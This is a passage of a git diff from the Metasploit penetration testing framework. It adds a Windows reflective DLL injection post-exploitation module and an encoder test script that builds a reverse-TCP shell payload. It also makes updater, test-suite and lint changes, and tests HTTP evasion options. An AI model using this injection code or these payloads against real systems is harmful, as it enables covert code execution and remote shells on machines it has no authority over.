Errno::ENOENT => e + print_error("Error storing screenshot: #{e.class} #{e} #{e.backtrace}") return end print_status("Screen Spying Complete") - ::File.delete(screenshot) + if file_locations and not file_locations.empty? + print_status "run loot -t screenspy.screenshot to see file locations of your newly acquired loot" + end + if cmd + # wait 2 secs so the last file can get opened before deletion + select(nil, nil, nil, 2) + begin + ::File.delete(screenshot) + rescue Exception => e + print_error("Error deleting the temporary screenshot file: #{e.class} #{e} #{e.backtrace}") + print_error("This may be due to the file being in use if you are on a Windows platform") + end + end end def migrate_explorer @@ -105,9 +137,10 @@ class Metasploit3 < Msf::Post begin session.core.migrate(p['pid'].to_i) print_status("Migration successful") + return p['pid'] rescue print_status("Migration failed.") - return + return nil end end end diff --git a/modules/post/windows/manage/reflective_dll_inject.rb b/modules/post/windows/manage/reflective_dll_inject.rb new file mode 100644 index 0000000000..7f9a39ab2e --- /dev/null +++ b/modules/post/windows/manage/reflective_dll_inject.rb @@ -0,0 +1,101 @@ +## +# ## This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' + +class Metasploit3 < Msf::Post + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Windows Manage Reflective DLL Injection Module', + 'Description' => %q{ + This module will inject into the memory of a process a specified Reflective DLL. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Ben Campbell '], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ], + 'References' => + [ + [ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ] + ] + )) + + register_options( + [ + OptPath.new('PATH',[true, 'Reflective DLL to inject into memory of a process.']), + OptInt.new('PID',[true, 'Process Identifier to inject of process to inject payload.']), + ], self.class) + end + + # Run Method for when run command is issued + def run + # syinfo is only on meterpreter sessions + print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil? + + dll = '' + offset = nil + begin + File.open( datastore['PATH'], "rb" ) { |f| dll += f.read(f.stat.size) } + + pe = Rex::PeParsey::Pe.new( Rex::ImageSource::Memory.new( dll ) ) + + pe.exports.entries.each do |entry| + if( entry.name =~ /^\S*ReflectiveLoader\S*/ ) + offset = pe.rva_to_file_offset( entry.rva ) + break + end + end + + raise "Can't find an exported ReflectiveLoader function!" if offset.nil? or offset == 0 + rescue + print_error( "Failed to read and parse Dll file: #{$!}" ) + return + end + + inject_into_pid(dll, datastore['PID'], offset) + end + + def inject_into_pid(pay, pid, offset) + + if offset.nil? or offset == 0 + print_error("Reflective Loader offset is nil.") + return + end + + if pay.nil? or pay.empty? + print_error("Invalid DLL.") + return + end + + if pid.nil? or pid == 0 + print_error("Invalid PID.") + return + end + + print_status("Injecting #{datastore['DLL_PATH']} into process ID #{pid}") + begin + print_status("Opening process #{pid}") + host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS) + print_status("Allocating memory in procees #{pid}") + mem = host_process.memory.allocate(pay.length + (pay.length % 1024)) + # Ensure memory is set for execution + host_process.memory.protect(mem) + vprint_status("Allocated memory at address #{"0x%.8x" % mem}, for #{pay.length} bytes") + print_status("Writing the payload into memory") + host_process.memory.write(mem, pay) + print_status("Executing payload") + host_process.thread.create(mem+offset, 0) + print_good("Successfully injected payload in to process: #{pid}") + rescue ::Exception => e + print_error("Failed to Inject Payload to #{pid}!") + vprint_error(e.to_s) + end + end +end + diff --git a/msfconsole b/msfconsole index ea8add619e..486f4155cd 100755 --- a/msfconsole +++ b/msfconsole @@ -14,12 +14,12 @@ while File.symlink?(msfbase) msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end +@msfbase_dir = File.expand_path(File.dirname(msfbase)) + $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) require 'fastlib' require 'msfenv' - - $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] require 'optparse' @@ -30,6 +30,26 @@ if(RUBY_PLATFORM =~ /mswin32/) $stderr.puts " be handled correctly. Please install Cygwin or use Linux in VMWare.\n\n" end +def is_svn + File.directory?(File.join(@msfbase_dir, ".svn")) +end + +def print_deprecation_warning + $stdout.puts "" + $stdout.puts "[*] Deprecation Note: After 2013-03-15 (March 15, 2013), Metasploit" + $stdout.puts "[*] source checkouts will NO LONGER update over SVN, but will be using" + $stdout.puts "[*] GitHub exclusively. You should either download a new Metasploit" + $stdout.puts "[*] installer, or use a git clone of Metasploit Framework before" + $stdout.puts "[*] then. You will also need outbound access to github.com on" + $stdout.puts "[*] TCP port 9418 (git), 22 (ssh) or 443 (https), depending on the" + $stdout.puts "[*] protocol used to clone Metasploit Framework (usually, git protocol)." +end + +if is_svn + print_deprecation_warning +end + + class OptsConsole # # Return a hash describing the options. diff --git a/msfupdate b/msfupdate index 058fd8f51e..d32010e5fb 100755 --- a/msfupdate +++ b/msfupdate @@ -30,9 +30,13 @@ if not (Process.uid == 0 or File.stat(msfbase).owned?) exit 0x10 end +def is_apt + File.exists?(File.expand_path(File.join(@msfbase_dir, '.apt'))) +end + # Are you an installer, or did you get here via a source checkout? def is_installed - File.exists?(File.expand_path(File.join(@msfbase_dir, "..", "engine", "update.rb"))) + File.exists?(File.expand_path(File.join(@msfbase_dir, "..", "engine", "update.rb"))) && !is_apt end def is_git @@ -53,10 +57,13 @@ def add_git_upstream end def print_deprecation_warning - $stdout.puts "[*] Deprecation Note: The next version of Metasploit will" - $stdout.puts "[*] update over the git protocol, which requires outbound" - $stdout.puts "[*] access to github.com:9418/TCP." - $stdout.puts "[*] Please adjust your egress firewall rules accordingly." + $stdout.puts "" + $stdout.puts "[*] Deprecation Note: After 2013-02-28 (February 28, 2013), Metasploit" + $stdout.puts "[*] source checkouts will NO LONGER update over SVN, but will be using" + $stdout.puts "[*] GitHub exclusively. You should either download a new Metasploit" + $stdout.puts "[*] installer, or use a git clone of Metasploit Framework before" + $stdout.puts "[*] then. You will also need outbound access to github.com:9418/TCP." + $stdout.puts "" end def maybe_wait_and_exit(exit_code=0) @@ -69,6 +76,24 @@ def maybe_wait_and_exit(exit_code=0) end end +def apt_upgrade_available(package) + require 'open3' + installed = nil + upgrade = nil + ::Open3.popen3("apt-cache", "policy", package) do |stdin, stdout, stderr| + stdout.each do |line| + installed = $1 if line =~ /Installed: ([\w\-+.:~]+)$/ + upgrade = $1 if line =~ /Candidate: ([\w\-+.:~]+)$/ + break if installed && upgrade + end + end + if installed && installed != upgrade + upgrade + else + nil + end +end + # Some of these args are meaningful for SVN, some for Git, # some for both. Fun times. @args.each_with_index do |arg,i| @@ -186,7 +211,27 @@ if is_installed end end -unless is_svn || is_git || is_installed +if is_apt + $stdout.puts "[*] Checking for updates" + system("apt-get", "-qq", "update") + + packages = [] + packages << 'metasploit-framework' if framework_version = apt_upgrade_available('metasploit-framework') + packages << 'metasploit' if pro_version = apt_upgrade_available('metasploit') + + if packages.empty? + $stdout.puts "[*] No updates available" + else + $stdout.puts "[*] Updating to version #{pro_version || framework_version}" + system("apt-get", "install", "--assume-yes", *packages) + if packages.include?('metasploit') + start_cmd = File.expand_path(File.join(@msfbase_dir, '..', '..', '..', 'scripts', 'start.sh')) + system(start_cmd) if ::File.executable_real? start_cmd + end + end +end + +unless is_svn || is_git || is_installed || is_apt raise RuntimeError, "Cannot determine checkout type: `#{@msfbase_dir}'" end diff --git a/spec/lib/msf/core/exploit/http/client_spec.rb b/spec/lib/msf/core/exploit/http/client_spec.rb index 73298366d4..93180d3a5a 100644 --- a/spec/lib/msf/core/exploit/http/client_spec.rb +++ b/spec/lib/msf/core/exploit/http/client_spec.rb @@ -11,7 +11,7 @@ describe Msf::Exploit::Remote::HttpClient do mod end - context 'normalize_uri' do + describe '#normalize_uri' do let(:expected_normalized_uri) do '/a/b/c' end @@ -20,6 +20,20 @@ describe Msf::Exploit::Remote::HttpClient do subject.normalize_uri(unnormalized_uri) end + context "with just '/'" do + let(:unnormalized_uri) do + '/' + end + + it "should be '/'" do + unnormalized_uri.should == '/' + end + + it "should return '/'" do + normalized_uri.should == '/' + end + end + context "with starting '/'" do let(:unnormalized_uri) do expected_normalized_uri @@ -30,7 +44,17 @@ describe Msf::Exploit::Remote::HttpClient do end it "should not add another starting '/'" do - normalized_uri.should == expected_normalized_uri + normalized_uri.should == expected_normalized_uri + end + + context "with multiple internal '/'" do + let(:unnormalized_uri) do + "/#{expected_normalized_uri.gsub("/", "////")}" + end + + it "should remove doubled internal '/'" do + normalized_uri.should == expected_normalized_uri + end end context "with multiple starting '/'" do @@ -48,39 +72,25 @@ describe Msf::Exploit::Remote::HttpClient do end context "with trailing '/'" do + let(:expected_normalized_uri) do + '/a/b/c/' + end + let(:unnormalized_uri) do "#{expected_normalized_uri}/" end it "should end with '/'" do - unnormalized_uri[-1, 1].should == '/' + normalized_uri[-1, 1].should == '/' end - it "should remove the trailing '/'" do - normalized_uri.should == expected_normalized_uri - end - - context "with just '/'" do + context "with multiple trailing '/'" do let(:unnormalized_uri) do - '/' - end - - it "should be '/'" do - unnormalized_uri.should == '/' - end - - it "should return '/'" do - normalized_uri.should == '/' - end - end - - context "with multiple multiple trailing '/'" do - let(:unnormalized_uri) do - "#{expected_normalized_uri}//" + "#{expected_normalized_uri}/" end it "should have multiple trailing '/'" do - unnormalized_uri[-2 .. -1].should == '//' + unnormalized_uri[-2,2].should == '//' end it "should return only one trailing '/'" do @@ -105,16 +115,15 @@ describe Msf::Exploit::Remote::HttpClient do end context "without starting '/'" do - let(:unnormalized_uri) do - 'a/b/c' - end - context "with trailing '/'" do let(:unnormalized_uri) do 'a/b/c/' end + let(:expected_normalized_uri) do + '/a/b/c/' + end - it "'should have trailing '/'" do + it "should have trailing '/'" do unnormalized_uri[-1, 1].should == '/' end @@ -122,17 +131,31 @@ describe Msf::Exploit::Remote::HttpClient do normalized_uri[0, 1].should == '/' end - it "'should remove trailing '/'" do - normalized_uri[-1, 1].should_not == '/' + it "should not remove trailing '/'" do + normalized_uri[-1, 1].should == '/' end it 'should normalize the uri' do - normalized_uri.should == expected_normalized_uri + normalized_uri.should == "#{expected_normalized_uri}" + end + + context "with multiple internal '/'" do + let(:unnormalized_uri) do + "/#{expected_normalized_uri.gsub("/", "////")}" + end + + it "should remove doubled internal '/'" do + normalized_uri.should == expected_normalized_uri + end end end context "without trailing '/'" do - it "'should not have trailing '/'" do + let(:unnormalized_uri) do + 'a/b/c' + end + + it "should not have trailing '/'" do unnormalized_uri[-1, 1].should_not == '/' end @@ -143,35 +166,35 @@ describe Msf::Exploit::Remote::HttpClient do it "should add trailing '/'" do normalized_uri[-1, 1].should_not == '/' end + end + end - context 'with empty string' do - let(:unnormalized_uri) do - '' - end + context 'with empty string' do + let(:unnormalized_uri) do + '' + end - it "should be empty" do - unnormalized_uri.should be_empty - end + it "should be empty" do + unnormalized_uri.should be_empty + end - it "should return '/'" do - normalized_uri.should == '/' - end - end + it "should return '/'" do + normalized_uri.should == '/' + end + end - context 'with nil' do - let(:unnormalized_uri) do - nil - end + context 'with nil' do + let(:unnormalized_uri) do + nil + end - it 'should be nil' do - unnormalized_uri.should be_nil - end + it 'should be nil' do + unnormalized_uri.should be_nil + end - it "should return '/" do - normalized_uri.should == '/' - end - end + it "should return '/" do + normalized_uri.should == '/' end end end -end \ No newline at end of file +end diff --git a/spec/lib/rex/encoding/xor/byte.rb b/spec/lib/rex/encoding/xor/byte_spec.rb similarity index 100% rename from spec/lib/rex/encoding/xor/byte.rb rename to spec/lib/rex/encoding/xor/byte_spec.rb diff --git a/spec/lib/rex/encoding/xor/dword.rb b/spec/lib/rex/encoding/xor/dword_spec.rb similarity index 100% rename from spec/lib/rex/encoding/xor/dword.rb rename to spec/lib/rex/encoding/xor/dword_spec.rb diff --git a/spec/lib/rex/encoding/xor/qword.rb b/spec/lib/rex/encoding/xor/qword_spec.rb similarity index 100% rename from spec/lib/rex/encoding/xor/qword.rb rename to spec/lib/rex/encoding/xor/qword_spec.rb diff --git a/spec/lib/rex/encoding/xor/word.rb b/spec/lib/rex/encoding/xor/word_spec.rb similarity index 100% rename from spec/lib/rex/encoding/xor/word.rb rename to spec/lib/rex/encoding/xor/word_spec.rb diff --git a/spec/lib/rex/proto/http/client_request_spec.rb b/spec/lib/rex/proto/http/client_request_spec.rb new file mode 100644 index 0000000000..3bf44fcaa4 --- /dev/null +++ b/spec/lib/rex/proto/http/client_request_spec.rb @@ -0,0 +1,258 @@ +require 'spec_helper' + +require 'rex/proto/http/client_request' + + +shared_context "with no evasions" do + before(:all) do + client_request.opts['uri_dir_self_reference'] = false + client_request.opts['uri_fake_params_start'] = false + client_request.opts['uri_full_url'] = false + end + + it "should return the unmodified uri" do + client_request.send(:set_uri).should == "/" + end +end + + +shared_context "with 'uri_dir_self_reference'" do + before(:all) do + client_request.opts['uri_dir_self_reference'] = true + end + + it "should have a self reference" do + client_request.send(:set_uri).should include("/./") + client_request.to_s.should include("/./") + end +end + + +shared_context "with 'uri_dir_fake_relative'" do + before(:all) do + client_request.opts['uri_dir_fake_relative'] = true + end + + it "should contain sequences of '../'" do + client_request.send(:set_uri).should include("../") + client_request.to_s.should include("../") + end + +end + + +shared_context "with 'uri_full_url'" do + + before(:all) do + client_request.opts['uri_full_url'] = true + end + + before(:each) do + client_request.opts['vhost'] = host + end + + context "with ipv4 host" do + let(:host) { '192.0.2.1' } + + it_behaves_like "uri_full_url" + end + + context "with ipv6 host" do + let(:host) { '2001:DB8::1' } + + it_behaves_like "uri_full_url" + end + + context "with dns host" do + let(:host) { 'www.example.com' } + + it_behaves_like "uri_full_url" + end + +end + +shared_examples "uri_full_url" do + + it "#set_uri should have the host in the URI" do + client_request.send(:set_uri).should start_with("http://#{host}/") + end + +end + + +describe Rex::Proto::Http::ClientRequest do + + default_options = { + # All of these should be what you get when you pass in empty + # options, but of course that would make it too easy + 'uri' => '/', + 'method' => "GET", + 'proto' => "HTTP", + 'connection' => "close", + 'version' => "1.1", + 'port' => 80, + } + + [ + [ "with reasonable default options", + default_options.merge({ + 'agent' => "Mozilla/4.0 (compatible; Metasploit RSPEC)", + 'vhost' => 'www.example.com', + }), + { + :set_uri => { :result => "/" }, + :set_method => { :result => "GET" }, + :set_version => { :result => "HTTP/1.1\r\n" }, + :set_uri_prepend => { :result => "" }, + :set_uri_append => { :result => "" }, + :set_agent_header => { :result => "User-Agent: Mozilla/4.0 (compatible; Metasploit RSPEC)\r\n" }, + :set_host_header => { :result => "Host: www.example.com\r\n" }, + :set_formatted_header => { :args => ["Foo", "Bar"], :result => "Foo: Bar\r\n" }, + :set_formatted_header => { :args => ["foo", "Bar"], :result => "foo: Bar\r\n" }, + :set_formatted_header => { :args => ["Foo", "Bar\twith\ttabs"], :result => "Foo: Bar\twith\ttabs\r\n" }, + :set_formatted_header => { :args => ["Foo\twith\tabs", "Bar"], :result => "Foo\twith\tabs: Bar\r\n" }, + } + ], + + [ "with header folding", + default_options.merge({ + 'agent' => "Mozilla/4.0 (compatible; Metasploit RSPEC)", + 'header_folding' => true, + }), + { + :set_uri => { :result => "/" }, + :set_method => { :result => "GET" }, + :set_version => { :result => "HTTP/1.1\r\n" }, + :set_agent_header => { :result => "User-Agent:\r\n\tMozilla/4.0 (compatible; Metasploit RSPEC)\r\n" }, + :set_cookie_header => { :result => "" }, + :set_connection_header => { :result => "Connection:\r\n\tclose\r\n" }, + :set_formatted_header => { :args => ["Foo", "Bar"], :result => "Foo:\r\n\tBar\r\n" }, + :set_formatted_header => { :args => ["foo", "Bar"], :result => "foo:\r\n\tBar\r\n" }, + :set_formatted_header => { :args => ["Foo", "Bar\twith\ttabs"], :result => "Foo:\r\n\tBar\twith\ttabs\r\n" }, + :set_formatted_header => { :args => ["Foo\twith\tabs", "Bar"], :result => "Foo\twith\tabs:\r\n\tBar\r\n" }, + } + ], + + [ "with ipv6 host", + default_options.merge({ + 'vhost' => "2001:DB8::1", + }), + { + :set_host_header => { :result => "Host: [2001:DB8::1]\r\n" }, + } + ], + + [ "with ipv6 host and non-default port", + default_options.merge({ + 'port' => 1234, + 'vhost' => "2001:DB8::1", + }), + { + :set_host_header => { :result => "Host: [2001:DB8::1]:1234\r\n" }, + } + ] + ].each do |c, opts, expectations| + context c do + subject(:client_request) { Rex::Proto::Http::ClientRequest.new(opts) } + + expectations.each do |meth, things| + args = things[:args] || [] + result = things[:result] + describe "##{meth}" do + it "should return #{result.inspect}" do + client_request.send(meth, *args).should == result + end + end + end + + end + end + + subject(:client_request) { Rex::Proto::Http::ClientRequest.new(default_options) } + + context "with GET paramaters" do + subject(:client_request) { + options_with_params = default_options.merge({ + 'uri_encode_mode' => encode_mode, + 'encode_params' => encode_params, + 'encode' => false, + 'vars_get' => vars_get, + }) + Rex::Proto::Http::ClientRequest.new(options_with_params) + } + # default + let(:encode_mode) { 'hex-normal' } + + let(:vars_get) do + { + 'foo[]' => 'bar', + 'bar' => 'baz', + 'frobnicate' => 'the froozle?', + } + end + + context "with 'pad_get_params'" do + let(:encode_params) { true } + it "should ..." do + old = client_request.opts['pad_get_params'] + client_request.opts['pad_get_params'] = true + + client_request.opts['pad_get_params_count'] = 0 + client_request.to_s.split("&").length.should == vars_get.length + + client_request.opts['pad_get_params_count'] = 10 + client_request.to_s.split("&").length.should == vars_get.length + 10 + + client_request.opts['pad_get_params'] = old + end + end + + context "without 'encode_params'" do + let(:encode_params) { false } + it "should contain the unaltered params" do + str = client_request.to_s + str.should include("foo[]=bar") + str.should include("bar=baz") + str.should include("frobnicate=the froozle?") + end + end + + context "with 'encode_params'" do + let(:encode_params) { true } + context "and 'uri_encode_mode' = default (hex-normal)" do + it "should encode special chars" do + str = client_request.to_s + str.should include("foo%5b%5d=bar") + str.should include("bar=baz") + str.should include("frobnicate=the%20froozle%3f") + end + end + + context "and 'uri_encode_mode' = hex-all" do + let(:encode_mode) { 'hex-all' } + it "should encode all chars" do + str = client_request.to_s + str.should include("%66%6f%6f%5b%5d=%62%61%72") + str.should include("%62%61%72=%62%61%7a") + str.should include("%66%72%6f%62%6e%69%63%61%74%65=%74%68%65%20%66%72%6f%6f%7a%6c%65%3f") + end + end + + describe "#to_s" do + it "should produce same values if called multiple times with same options" do + client_request.to_s.should == client_request.to_s + end + end + + end + + end + + describe "#set_uri" do + it_behaves_like "with 'uri_full_url'" + it_behaves_like "with 'uri_dir_self_reference'" + it_behaves_like "with 'uri_dir_fake_relative'" + it_behaves_like "with no evasions" + end + +end diff --git a/spec/lib/rex/proto/http/client_spec.rb b/spec/lib/rex/proto/http/client_spec.rb new file mode 100644 index 0000000000..77ca6c4758 --- /dev/null +++ b/spec/lib/rex/proto/http/client_spec.rb @@ -0,0 +1,231 @@ +require 'rex/proto/http/client' + +# Note: Some of these tests require a failed +# connection to 127.0.0.1:1. If you have some crazy local +# firewall that is dropping packets to this, your tests +# might be slow. I wonder how Travis-CI will react to this... +describe Rex::Proto::Http::Client do + + class << self + + # Set a standard excuse that indicates that the method + # under test needs to be first examined to figure out + # what's sane and what's not. + def excuse_lazy(test_method=nil) + ret = "need to determine pass/fail criteria" + test_method ? ret << " for #{test_method.inspect}" : ret + end + + # Complain about not having a "real" connection (can be mocked) + def excuse_needs_connection + "need to actually set up an HTTP server to test" + end + + # Complain about not having a real auth server (can be mocked) + def excuse_needs_auth + "need to set up an HTTP authentication challenger" + end + + end + + let(:ip) { "1.2.3.4" } + subject(:cli) do + Rex::Proto::Http::Client.new(ip) + end + + it "should respond to intialize" do + cli.should be + end + + it "should have a set of default instance variables" do + cli.instance_variable_get(:@hostname).should == ip + cli.instance_variable_get(:@port).should == 80 + cli.instance_variable_get(:@context).should == {} + cli.instance_variable_get(:@ssl).should be_false + cli.instance_variable_get(:@proxies).should be_nil + cli.instance_variable_get(:@username).should be_empty + cli.instance_variable_get(:@password).should be_empty + cli.config.should be_a_kind_of Hash + end + + it "should produce a raw HTTP request" do + cli.request_raw.should be_a_kind_of Rex::Proto::Http::ClientRequest + end + + it "should produce a CGI HTTP request" do + req = cli.request_cgi + req.should be_a_kind_of Rex::Proto::Http::ClientRequest + end + + context "with authorization" do + subject(:cli) do + cli = Rex::Proto::Http::Client.new(ip) + cli.set_config({"authorization" => "Basic base64dstuffhere"}) + cli + end + let(:user) { "user" } + let(:pass) { "pass" } + let(:base64) { ["user:pass"].pack('m').chomp } + + context "and an Authorization header" do + before do + cli.set_config({"headers" => { "Authorization" => "Basic #{base64}" } }) + end + it "should have one Authorization header" do + req = cli.request_cgi + match = req.to_s.match("Authorization: Basic") + match.should be + match.length.should == 1 + end + it "should prefer the value in the header" do + req = cli.request_cgi + match = req.to_s.match(/Authorization: Basic (.*)$/) + match.should be + match.captures.length.should == 1 + match.captures[0].chomp.should == base64 + end + end + end + + context "with credentials" do + subject(:cli) do + cli = Rex::Proto::Http::Client.new(ip) + cli + end + let(:first_response) { + "HTTP/1.1 401 Unauthorized\r\nContent-Length: 0\r\nWWW-Authenticate: Basic realm=\"foo\"\r\n\r\n" + } + let(:authed_response) { + "HTTP/1.1 200 Ok\r\nContent-Length: 0\r\n\r\n" + } + let(:user) { "user" } + let(:pass) { "pass" } + + it "should not send creds on the first request in order to induce a 401" do + req = cli.request_cgi + req.to_s.should_not match("Authorization:") + end + + it "should send creds after receiving a 401" do + conn = mock + conn.stub(:put) + conn.stub(:shutdown) + conn.stub(:close) + + conn.should_receive(:get_once).and_return(first_response, authed_response) + conn.should_receive(:put) do |str_request| + str_request.should_not include("Authorization") + nil + end + conn.should_receive(:put) do |str_request| + str_request.should include("Authorization") + nil + end + + cli.should_receive(:_send_recv).twice.and_call_original + + Rex::Socket::Tcp.stub(:create).and_return(conn) + + opts = { "username" => user, "password" => pass} + req = cli.request_cgi(opts) + cli.send_recv(req) + + # Make sure it didn't modify the argument + opts.should == { "username" => user, "password" => pass} + end + + end + + it "should attempt to connect to a server" do + this_cli = Rex::Proto::Http::Client.new("127.0.0.1", 1) + expect { this_cli.connect(1) }.to raise_error ::Rex::ConnectionRefused + end + + it "should be able to close a connection" do + cli.close.should be_nil + end + + it "should send a request and receive a response", :pending => excuse_needs_connection do + + end + + it "should send a request and receive a response without auth handling", :pending => excuse_needs_connection do + + end + + it "should send a request", :pending => excuse_needs_connection do + + end + + it "should test for credentials" do + pending "Should actually respond to :has_creds" do + cli.should_not have_creds + this_cli = described_class.new("127.0.0.1", 1, {}, false, nil, nil, "user1", "pass1" ) + this_cli.should have_creds + end + end + + it "should send authentication", :pending => excuse_needs_connection + + it "should produce a basic authentication header" do + u = "user1" + p = "pass1" + b64 = ["#{u}:#{p}"].pack("m*").strip + cli.basic_auth_header("user1","pass1").should == "Basic #{b64}" + end + + it "should perform digest authentication", :pending => excuse_needs_auth do + + end + + it "should perform negotiate authentication", :pending => excuse_needs_auth do + + end + + it "should get a response", :pending => excuse_needs_connection do + + end + + it "should end a connection with a stop" do + cli.stop.should be_nil + end + + it "should test if a connection is valid" do + cli.conn?.should be_false + end + + it "should tell if pipelining is enabled" do + cli.should_not be_pipelining + this_cli = Rex::Proto::Http::Client.new("127.0.0.1", 1) + this_cli.pipeline = true + this_cli.should be_pipelining + end + + it "should respond to its various accessors" do + cli.should respond_to :config + cli.should respond_to :config_types + cli.should respond_to :pipeline + cli.should respond_to :local_host + cli.should respond_to :local_port + cli.should respond_to :conn + cli.should respond_to :context + cli.should respond_to :proxies + cli.should respond_to :username + cli.should respond_to :password + cli.should respond_to :junk_pipeline + # These are supposed to be protected + cli.should respond_to :ssl + cli.should respond_to :ssl_version + cli.should respond_to :hostname + cli.should respond_to :port + end + + # Not super sure why these are protected... + it "should refuse access to its protected accessors" do + expect {cli.ssl}.to raise_error NoMethodError + expect {cli.ssl_version}.to raise_error NoMethodError + expect {cli.hostname}.to raise_error NoMethodError + expect {cli.port}.to raise_error NoMethodError + end + +end diff --git a/spec/spec_helper.rb b/spec/spec_helper.rb index cf27db43d6..23c7b0778f 100644 --- a/spec/spec_helper.rb +++ b/spec/spec_helper.rb @@ -11,12 +11,6 @@ $LOAD_PATH.unshift(lib_pathname.to_s) # must be first require and started before any other requires so that it can measure coverage of all following required # code. It is after the rubygems and bundler only because Bundler.setup supplies the LOAD_PATH to simplecov. require 'simplecov' -# Ensure the coverage directory is always the same no matter where the individual spec is in the hierarchy when using -# Rubymine to run one spec. -# -# @see https://github.com/colszowka/simplecov/issues/95 -SimpleCov.root(root_pathname) -SimpleCov.start require 'rspec/core' diff --git a/test/tests/test_encoders.rb b/test/tests/test_encoders.rb new file mode 100644 index 0000000000..d59df128ea --- /dev/null +++ b/test/tests/test_encoders.rb @@ -0,0 +1,119 @@ +# +# Simple script to test a group of encoders against every exploit in the framework, +# specifically for the exploits badchars, to see if a payload can be encoded. We ignore +# the target arch/platform of the exploit as we just want to pull out real world bad chars. +# + +msfbase = __FILE__ +while File.symlink?(msfbase) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) +end + +$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) + +require 'fastlib' +require 'msfenv' +require 'msf/base' + +$msf = Msf::Simple::Framework.create + +EXPLOITS = $msf.exploits + +def print_line( message ) + $stdout.puts( message ) +end + +def format_badchars( badchars ) + str = '' + if( badchars ) + badchars.each_byte do | b | + str << "\\x%02X" % [ b ] + end + end + str +end + +def encoder_v_payload( encoder_name, payload, verbose=false ) + success = 0 + fail = 0 + EXPLOITS.each_module do | name, mod | + + exploit = mod.new + print_line( "\n#{encoder_name} v #{name} (#{ format_badchars( exploit.payload_badchars ) })" ) if verbose + begin + encoder = $msf.encoders.create( encoder_name ) + raw = encoder.encode( payload, exploit.payload_badchars, nil, nil ) + success += 1 + rescue + print_line( " FAILED! badchars=#{ format_badchars( exploit.payload_badchars ) }\n" ) if verbose + fail += 1 + end + end + return [ success, fail ] +end + +def generate_payload( name ) + + payload = $msf.payloads.create( name ) + + # set options for a reverse_tcp payload + payload.datastore['LHOST'] = '192.168.2.1' + payload.datastore['RHOST'] = '192.168.2.254' + payload.datastore['RPORT'] = '5432' + payload.datastore['LPORT'] = '4444' + # set options for an exec payload + payload.datastore['CMD'] = 'calc' + # set generic options + payload.datastore['EXITFUNC'] = 'thread' + + return payload.generate +end + +def run( encoders, payload_name, verbose=false ) + + payload = generate_payload( payload_name ) + + table = Rex::Ui::Text::Table.new( + 'Header' => 'Encoder v Payload Test - ' + ::Time.new.strftime( "%d-%b-%Y %H:%M:%S" ), + 'Indent' => 4, + 'Columns' => [ 'Encoder Name', 'Success', 'Fail' ] + ) + + encoders.each do | encoder_name | + + success, fail = encoder_v_payload( encoder_name, payload, verbose ) + + table << [ encoder_name, success, fail ] + + end + + return table +end + +if( $0 == __FILE__ ) + + print_line( "[+] Starting.\n" ) + + encoders = [ + 'x86/bloxor', + 'x86/shikata_ga_nai', + 'x86/jmp_call_additive', + 'x86/fnstenv_mov', + 'x86/countdown', + 'x86/call4_dword_xor' + ] + + payload_name = 'windows/shell/reverse_tcp' + + verbose = false + + result_table = run( encoders, payload_name, verbose ) + + print_line( "\n\n#{result_table.to_s}\n\n" ) + + print_line( "[+] Finished.\n" ) +end + + + + \ No newline at end of file diff --git a/tools/dev/pre-commit-hook.rb b/tools/dev/pre-commit-hook.rb new file mode 100755 index 0000000000..2625d6d64a --- /dev/null +++ b/tools/dev/pre-commit-hook.rb @@ -0,0 +1,54 @@ +#!/usr/bin/env ruby + +# Check that modules actually pass msftidy checks first. +# To install this script, make this your pre-commit hook your local +# metasploit-framework clone. For example, if you have checked out +# the Metasploit Framework to: +# +# /home/mcfakepants/git/metasploit-framework +# +# then you will copy this script to: +# +# /home/mcfakepants/git/metasploit-framework/.git/hooks/pre-commit +# +# You must mark it executable (chmod +x), and do not name it +# pre-commit.rb (just pre-commit) +# +# If you want to keep up on changes with this hook, just: +# +# ln -sf + +valid = true # Presume validity +files_to_check = [] + +results = %x[git diff --cached --name-only] + +results.each_line do |fname| + fname.strip! + next unless File.exist?(fname) and File.file?(fname) + next unless fname =~ /modules.+\.rb/ + files_to_check << fname +end + +if files_to_check.empty? + puts "--- No Metasploit modules to check, committing. ---" +else + puts "--- Checking module syntax with tools/msftidy.rb ---" + files_to_check.each do |fname| + cmd = "ruby ./tools/msftidy.rb #{fname}" + msftidy_output= %x[ #{cmd} ] + puts "#{fname} - msftidy check passed" if msftidy_output.empty? + msftidy_output.each_line do |line| + valid = false + puts line + end + end + puts "-" * 52 +end + +unless valid + puts "msftidy.rb objected, aborting commit" + puts "To bypass this check use: git commit --no-verify" + puts "-" * 52 + exit(1) +end diff --git a/tools/msftidy.rb b/tools/msftidy.rb index aa63bea6a4..8faa3b03d5 100755 --- a/tools/msftidy.rb +++ b/tools/msftidy.rb @@ -204,7 +204,7 @@ class Msftidy end if author_name =~ /^@.+$/ - error("No Twitter handle, please. Try leaving it in a comment instead.") + error("No Twitter handles, please. Try leaving it in a comment instead.") end if not author_name.ascii_only? @@ -226,9 +226,7 @@ class Msftidy puts "Checking syntax for #{f_rel}." rubies ||= RVM.list_strings res = %x{rvm all do ruby -c #{f_rel}}.split("\n").select {|msg| msg =~ /Syntax OK/} - rubies.size == res.size - - error("Fails alternate Ruby version check") if rubies.size + error("Fails alternate Ruby version check") if rubies.size != res.size end def check_ranking @@ -281,6 +279,7 @@ class Msftidy words.each do |word| if %w{and or the for to in of as with a an on at}.include?(word) next + elsif %w{pbot}.include?(word) elsif word =~ /^[a-z]+$/ warn("Improper capitalization in module title: '#{word}'") end